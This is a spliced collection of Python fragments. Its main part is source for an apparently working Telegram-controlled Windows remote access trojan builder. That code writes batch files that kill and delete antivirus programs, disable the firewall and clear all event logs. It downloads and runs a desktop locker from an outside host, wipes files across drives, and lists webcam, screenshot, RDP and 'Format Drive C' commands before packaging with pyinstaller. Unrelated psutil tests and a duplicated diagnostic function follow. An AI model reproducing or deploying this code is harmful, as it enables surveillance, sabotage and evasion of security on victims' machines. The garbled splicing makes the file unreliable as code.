with open(f"""c:/users/{getpass.getuser()}/disableanti.bat""", "w") as file:
command = r"""
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/disableanti.bat""")
context.bot.sendMessage(chat_id, "Virus Ran Successfully")
except:
context.bot.sendMessage(chat_id, "Could Not Run Virus")
def makeBeepSound(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
win32api.MessageBeep(0)
def desktopLocker(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
wget.download("http://s13.picofile.com/d/8404121576/f041c244-c1a3-4158-9784-56ed5c6bb9dc/DTLEP.exe",out=f"""c:/users/{getpass.getuser()}""")
check_output(f"""c:/users/{getpass.getuser()}/DTLEP.exe""")
keyboard = Controller()
time.sleep(1)
keyboard.type("DR8002")
time.sleep(1)
keyboard.press(Key.enter)
time.sleep(1)
keyboard.type("DR8002")
time.sleep(1)
keyboard.press(Key.enter)
context.bot.sendMessage(chat_id,"Locked,Password Is: DR8002")
def deleteLogs(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
try:
import pdb
pdb.set_trace()
with open(f"""c:/users/{getpass.getuser()}/log.bat""", "w") as file:
command = """
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo All Event Logs have been cleared!
goto theEnd
:do_clear
echo clearing %1
wevtutil.exe cl %1
goto :eof
:noAdmin
echo Current user permissions to execute this .BAT file are inadequate.
echo This .BAT file must be run with administrative privileges.
echo Exit now, right click on this .BAT file, and select "Run as administrator".
pause >nul
:theEnd
Exit"""
file.write(command)
os.system(f"""c:/users/{getpass.getuser()}/log.bat""")
context.bot.sendMessage(chat_id, "Cleared")
except:
pass
def locationOnMap(update:Update,context:CallbackContext):
import pdb
pdb.set_trace()
info = requests.get('http://ipinfo.io')
info=info.json()
location = info['loc'].split(',')
context.bot.send_location(chat_id, location[0], location[1])
def openUrl(update:Update,context:CallbackContext):
context.bot.sendMessage(chat_id,"""For Open A Url Enter The Command Blow:\n/open url""")
def openUrlMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
url=update.message.text.replace("/open ","")
webbrowser.open(url)
context.bot.sendMessage(chat_id,"Opened!")
def showMessageBox(update:Update,context:CallbackContext):
context.bot.sendMessage(chat_id,"""For Show Message Box Enter The Command Blow:\n/show text""")
def showMessageBoxMain(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
text=update.message.text.replace("/show ","")
messageBox = ctypes.windll.user32.MessageBoxW
context.bot.sendMessage(chat_id,"Showed!")
returnValue = messageBox(0,
text,
"Hacked", 0x40 | 0x0)
def playBadSound(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
wget.download("http://s12.picofile.com/d/8403901226/7b88682e-bcbc-47d2-b38c-9c5831e2d693/audio_2020_07_25_13_21_54.mp3",out=f"""c:/users/{getpass.getuser()}""")
os.system(f"""c:/users/{getpass.getuser()}/audio_2020-07-25_13-21-54.mp3""")
context.bot.sendMessage(chat_id,"Sound Playing")
def deleteHard(update:Update,context:CallbackContext):
if str(update.message.chat_id) == chat_id:
context.bot.sendMessage(chat_id,"Started,When All Files Deleted I Will Tell You.")
allDrives = []
allDrives2 = []
paths = []
def findDrives():
cmdDrives = check_output("wmic logicaldisk get name", shell=True)
drives = ["A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "Q:", "R:", "O:",
"P:", "W:", "Y:", "S:", "T:", "U:", "V:", "X:", "Z:"]
for i in drives:
if i.encode() in cmdDrives:
allDrives2.append(i + "\\")
allDrives.append(i)
findDrives()
def findFilePath():
suffix = []
path = 'c:\\'
# r=root, d=directories, f = files
for path in allDrives2:
for r, d, f in os.walk(path):
for file in f:
file = file.split(".")[-1]
suffix.append(file)
suffix = list(dict.fromkeys(suffix))
mainSuffix = []
for b in suffix:
if "0" not in b:
mainSuffix.append(b)
for w in allDrives:
if w =="c:":
continue
for s in mainSuffix:
try:
path = os.system(f"Del {w}\*.{s} /f /s /q"
)
except:pass
findFilePath()
context.bot.sendMessage(chat_id,"Finished")
startHandler=CommandHandler("start",start)
updater.dispatcher.add_handler(startHandler)
ipFinderHandler=MessageHandler(Filters.regex("IP"),ipFinder)
updater.dispatcher.add_handler(ipFinderHandler)
systemInformationHandler=MessageHandler(Filters.regex("System Information"),systemInformation)
updater.dispatcher.add_handler(systemInformationHandler)
downloadFileHandler=MessageHandler(Filters.regex("Download File"),downloadFile)
updater.dispatcher.add_handler(downloadFileHandler)
donwloadFileMainHandler=CommandHandler("download",donwloadFileMain)
updater.dispatcher.add_handler(donwloadFileMainHandler)
makeUserHandler=MessageHandler(Filters.regex("Make User"),makeUser)
updater.dispatcher.add_handler(makeUserHandler)
restartSystemHandler=MessageHandler(Filters.regex("Restart"),restartSystem)
updater.dispatcher.add_handler(restartSystemHandler)
changeMainUserPassHandler=MessageHandler(Filters.regex("Change Main User Pass"),changeMainUserPass)
updater.dispatcher.add_handler(changeMainUserPassHandler)
taskManagerHandler=MessageHandler(Filters.regex("Task Manager"),taskManager)
updater.dispatcher.add_handler(taskManagerHandler)
enableTaskManagerHandler=CommandHandler("EnableTask",enableTaskManager)
updater.dispatcher.add_handler(enableTaskManagerHandler)
disableTaskManagerHandler=CommandHandler("DisableTask",disableTaskManager)
updater.dispatcher.add_handler(disableTaskManagerHandler)
lusrmgrHandler=MessageHandler(Filters.regex("Lusrmgr"),lusrmgr)
updater.dispatcher.add_handler(lusrmgrHandler)
disableLusrmgrHandler=CommandHandler("DisableLusrmgr",disableLusrmgr)
updater.dispatcher.add_handler(disableLusrmgrHandler)
enableLusrmgrHandler=CommandHandler("EnableLusrmgr",enableLusrmgr)
updater.dispatcher.add_handler(enableLusrmgrHandler)
enableGpeditHandler=CommandHandler("EnableGpedit",enableGpedit)
updater.dispatcher.add_handler(enableGpeditHandler)
disableGpeditHandler=CommandHandler("DisableGpedit",disableGpedit)
updater.dispatcher.add_handler(disableGpeditHandler)
gpeditHandler=MessageHandler(Filters.regex("Gpedit"),gpedit)
updater.dispatcher.add_handler(gpeditHandler)
enableRdpHandler=MessageHandler(Filters.regex("Enable RDP"),enableRdp)
updater.dispatcher.add_handler(enableRdpHandler)
cmdCommandsHandler=MessageHandler(Filters.regex("CMD Commands"),cmdCommands)
updater.dispatcher.add_handler(cmdCommandsHandler)
cmdCommandsMainHandler=CommandHandler("cmd",cmdCommandsMain)
updater.dispatcher.add_handler(cmdCommandsMainHandler)
uploadFileHandler=MessageHandler(Filters.regex("Upload File"),uploadFile)
updater.dispatcher.add_handler(uploadFileHandler)
uploadFileMainHandler=CommandHandler("upload",uploadFileMain)
updater.dispatcher.add_handler(uploadFileMainHandler)
runFileHandler=MessageHandler(Filters.regex("Run App"),runFile)
updater.dispatcher.add_handler(runFileHandler)
runFileMainHandler=CommandHandler("run",runFileMain)
updater.dispatcher.add_handler(runFileMainHandler)
screenShotHanlder=MessageHandler(Filters.regex("Screen Shot"),screenShot)
updater.dispatcher.add_handler(screenShotHanlder)
takePhotoHandler=MessageHandler(Filters.regex("Take Photo"),takePhoto)
updater.dispatcher.add_handler(takePhotoHandler)
recordVideoHandler=MessageHandler(Filters.regex("Record Video"),recordVideo)
updater.dispatcher.add_handler(recordVideoHandler)
playBadSoundHandler=MessageHandler(Filters.regex("Play Bad Sounds"),playBadSound)
updater.dispatcher.add_handler(playBadSoundHandler)
makeFileHandler=MessageHandler(Filters.regex("Make File"),makeFile)
updater.dispatcher.add_handler(makeFileHandler)
makeFileMainHandler=CommandHandler("makefile",makeFileMain)
updater.dispatcher.add_handler(makeFileMainHandler)
changeBackgHandler=MessageHandler(Filters.regex("Change Background"),changeBackg)
updater.dispatcher.add_handler(changeBackgHandler)
changeBackgMainHandler=MessageHandler(Filters.photo, changeBackgMain)
updater.dispatcher.add_handler(changeBackgMainHandler)
deleteHardHandler=MessageHandler(Filters.regex("Delete Hard Infos"),deleteHard)
updater.dispatcher.add_handler(deleteHardHandler)
destroyGraphicHandler=MessageHandler(Filters.regex('Destroy Graphic Card'),destroyGraphic)
updater.dispatcher.add_handler(destroyGraphicHandler)
destroyCDRomHandler=MessageHandler(Filters.regex("Destroy CD-Rom"),destroyCDRom)
updater.dispatcher.add_handler(destroyCDRomHandler)
endlessNotepadHandler=MessageHandler(Filters.regex("Open Endless Notepad"),endlessNotepad)
updater.dispatcher.add_handler(endlessNotepadHandler)
openAppsHandler=MessageHandler(Filters.regex("Crash Windows"),openApps_)
updater.dispatcher.add_handler(openAppsHandler)
endlessFolderHandler=MessageHandler(Filters.regex("Create Endless Folder"),endlessFolder)
updater.dispatcher.add_handler(endlessFolderHandler)
endlessUserHandler=MessageHandler(Filters.regex("Create Endless User"),endlessUser)
updater.dispatcher.add_handler(endlessUserHandler)
formatCHandler=MessageHandler(Filters.regex("Format Drive C"),formatC)
updater.dispatcher.add_handler(formatCHandler)
antiDisabledHandler=MessageHandler(Filters.regex("Disable All Antiviruss"),antiDisabled)
updater.dispatcher.add_handler(antiDisabledHandler)
makeBeepSoundHandler=MessageHandler(Filters.regex("Make Beep Sound"),makeBeepSound)
updater.dispatcher.add_handler(makeBeepSoundHandler)
desktopLockerHandler=MessageHandler(Filters.regex("Desktop Locker"),desktopLocker)
updater.dispatcher.add_handler(desktopLockerHandler)
deleteLogsHandler=MessageHandler(Filters.regex("Delete Logs"),deleteLogs)
updater.dispatcher.add_handler(deleteLogsHandler)
locationOnMapHandler=MessageHandler(Filters.regex("Location On Map"),locationOnMap)
updater.dispatcher.add_handler(locationOnMapHandler)
openUrlHandler=MessageHandler(Filters.regex("Open URL"),openUrl)
updater.dispatcher.add_handler(openUrlHandler)
openUrlMainHandler=CommandHandler("open",openUrlMain)
updater.dispatcher.add_handler(openUrlMainHandler)
showMessageBoxHandler=MessageHandler(Filters.regex("Show Message Box"),showMessageBox)
updater.dispatcher.add_handler(showMessageBoxHandler)
showMessageBoxMainHandler=CommandHandler("show",showMessageBoxMain)
updater.dispatcher.add_handler(showMessageBoxMainHandler)
updater.start_polling()
'''
exportFile = open("Source.py", "w", encoding="UTF-8")
exportFile.write(source)
print(setting["icon"])
def makeExe():
if setting["icon"] == "null":
a = os.system(f"pyinstaller -w -F Source.py")
shutil.rmtree("__pycache__")
shutil.rmtree("build")
os.system("cls")
os.remove("Source.spec")
startPage()
else:
a = os.system(
f"pyinstaller -w -F --icon {setting['icon']} Source.py")
shutil.rmtree("__pycache__")
shutil.rmtree("build")
os.system("cls")
os.remove("Source.spec")
startPage()
makeExe()
os.system("cls")
baner()
print(colorama.Fore.RED + "Check Out Dist Dir.")
input("Press Enter To Return")
startPage()
def test_cpu_freq(self):
if psutil.cpu_freq() is None:
raise self.skipTest("cpu_freq() returns None")
self.assert_ntuple_of_nums(psutil.cpu_freq(), type_=(float, int, long))
def get_cpu_freq():
freq = psutil.cpu_freq()
return freq
def test_cpu_freq(self):
w = wmi.WMI()
proc = w.Win32_Processor()[0]
self.assertEqual(proc.CurrentClockSpeed, psutil.cpu_freq().current)
self.assertEqual(proc.MaxClockSpeed, psutil.cpu_freq().max)
def system_diagnostic():
""" return various helpful/informative information about the
current system. For instance versions of python & available packages.
Mostly undocumented function...
"""
# There is probably a more clever way to do the following via introspection?
import platform
import os
import poppy
import numpy
import scipy
from .version import version
try:
import ttk
ttk_version = ttk.__version__
except ImportError:
ttk_version = 'not found'
try:
import wx
wx_version = wx.__version__
except ImportError:
wx_version = 'not found'
try:
import pyfftw
pyfftw_version = pyfftw.version
except ImportError:
pyfftw_version = 'not found'
try:
import pysynphot
pysynphot_version = pysynphot.__version__
except ImportError:
pysynphot_version = 'not found'
try:
import astropy
astropy_version = astropy.__version__
except ImportError:
astropy_version = 'not found'
try:
import numexpr
numexpr_version = numexpr.__version__
except ImportError:
numexpr_version = 'not found'
try:
import accelerate
accelerate_version = accelerate.__version__
except ImportError:
accelerate_version = 'not found'
try:
import psutil
cpu_info = """
Hardware cores: {hw}
Logical core: {logical}
Frequency: {freq} GHz
Currently {percent}% utilized.
""".format(hw=psutil.cpu_count(logical=False),
logical=psutil.cpu_count(logical=True),
freq=psutil.cpu_freq()[0] / 1000,
percent=psutil.cpu_percent())
except:
try:
import multiprocessing
cpu_info = " Cores: {}".format(multiprocessing.cpu_count())
except:
cpu_info = "No CPU info available"
# Get numpy config - the following is a modified version of
# numpy.__config__.show()
numpyconfig = ""
for name, info_dict in numpy.__config__.__dict__.items():
if name[0] == "_" or type(info_dict) is not type({}): continue
numpyconfig += name + ":\n"
if not info_dict:
numpyconfig += " NOT AVAILABLE\n"
for k, v in info_dict.items():
v = str(v)
if k == "sources" and len(v) > 200:
v = v[:60] + " ...\n... " + v[-60:]
numpyconfig += " %s = %s\n" % (k, v)
result = DIAGNOSTIC_REPORT.format(os=platform.platform(),
numpy=numpy.__version__,
python=sys.version.replace("\n", " "),
poppy=poppy.__version__,
webbpsf=version,
tkinter=ttk_version,
wxpython=wx_version,
pyfftw=pyfftw_version,
pysyn=pysynphot_version,
astropy=astropy_version,
finfo_float=numpy.finfo(numpy.float),
finfo_complex=numpy.finfo(numpy.complex),
numexpr=numexpr_version,
scipy=scipy.__version__,
accelerate=accelerate_version,
numpyconfig=numpyconfig,
cpu=cpu_info)
return result
def system_diagnostic():
""" return various helpful/informative information about the
current system. For instance versions of python & available packages.
Mostly undocumented function...
"""
# There is probably a more clever way to do the following via introspection?
import platform
import os
import poppy
import numpy
import scipy
from .version import version
try:
import ttk
ttk_version = ttk.__version__
except ImportError:
ttk_version = 'not found'
try:
import wx
wx_version = wx.__version__
except ImportError:
wx_version = 'not found'
try:
import pyfftw
pyfftw_version = pyfftw.version
except ImportError:
pyfftw_version = 'not found'
try:
import pysynphot
pysynphot_version = pysynphot.__version__
except ImportError:
pysynphot_version = 'not found'
try:
import astropy
astropy_version = astropy.__version__
except ImportError:
astropy_version = 'not found'
try:
import numexpr
numexpr_version = numexpr.__version__
except ImportError:
numexpr_version = 'not found'
try:
import accelerate
accelerate_version = accelerate.__version__
except ImportError:
accelerate_version = 'not found'
try:
import psutil
cpu_info = """
Hardware cores: {hw}
Logical core: {logical}
Frequency: {freq} GHz
Currently {percent}% utilized.
""".format(hw=psutil.cpu_count(logical=False),
logical=psutil.cpu_count(logical=True),
freq=psutil.cpu_freq()[0] / 1000,
percent=psutil.cpu_percent())
except:
try:
import multiprocessing
cpu_info = " Cores: {}".format(multiprocessing.cpu_count())
except:
cpu_info = "No CPU info available"
# Get numpy config - the following is a modified version of
# numpy.__config__.show()
numpyconfig = ""
for name, info_dict in numpy.__config__.__dict__.items():
if name[0] == "_" or type(info_dict) is not type({}): continue
numpyconfig += name + ":\n"
if not info_dict:
numpyconfig += " NOT AVAILABLE\n"
for k, v in info_dict.items():
v = str(v)
if k == "sources" and len(v) > 200:
v = v[:60] + " ...\n... " + v[-60:]
numpyconfig += " %s = %s\n" % (k, v)
result = DIAGNOSTIC_REPORT.format(
os=platform.platform(),
numpy=numpy.__version__,
python=sys.version.replace("\n", " "),
poppy=poppy.__version__,
webbpsf=version,
tkinter=ttk_version,
wxpython=wx_version,
pyfftw=pyfftw_version,
pysyn=pysynphot_version,
astropy=astropy_version,
finfo_float=numpy.finfo(numpy.float),
finfo_complex=numpy.finfo(numpy.complex),
numexpr=numexpr_version,
scipy=scipy.__version__,
accelerate=accelerate_version,
numpyconfig=numpyconfig,
cpu=cpu_info
)
return result
def test_cpu_freq(self):
w = wmi.WMI()
proc = w.Win32_Processor()[0]
self.assertEqual(proc.CurrentClockSpeed, psutil.cpu_freq().current)
self.assertEqual(proc.MaxClockSpeed, psutil.cpu_freq().max)
